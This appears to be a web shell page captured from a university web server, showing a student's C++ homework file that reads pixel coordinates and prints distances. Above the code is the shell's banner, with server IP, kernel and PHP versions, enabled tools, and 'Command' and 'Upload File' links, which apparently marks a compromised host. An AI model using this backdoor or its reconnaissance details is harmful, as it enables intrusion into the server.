Server IP : 172.16.15.8 / Your IP : 3.15.225.177 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/lgmillard/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// CS 212 HW 7 // Due: Monday, April 18, 2011 // Author: Lonnie Millard // Professor: John Wang // // File. hw7.cpp // Compile: ./a.out < hw7.txt // Goal: Write a program to read a set of Pixels from a file #include <iostream> using namespace std; #include "point.h" #include "pixel.h" int main() { Pixel px1(0, 0, OFF); Pixel px2; int a, b; string str; StatusType status; cin >> a >> b >> str; while(cin) { if(str == "ON") { status = ON; px2.Set(a, b, status); cout << "The coordinates of px2 is:"; px2.Print(); cout << "\nThe distance is:" << px2.Distance(px1) << endl; } else if(str == "OFF") { status = OFF; } cin >> a >> b >> str; } cout << "\n\n"; return 0; }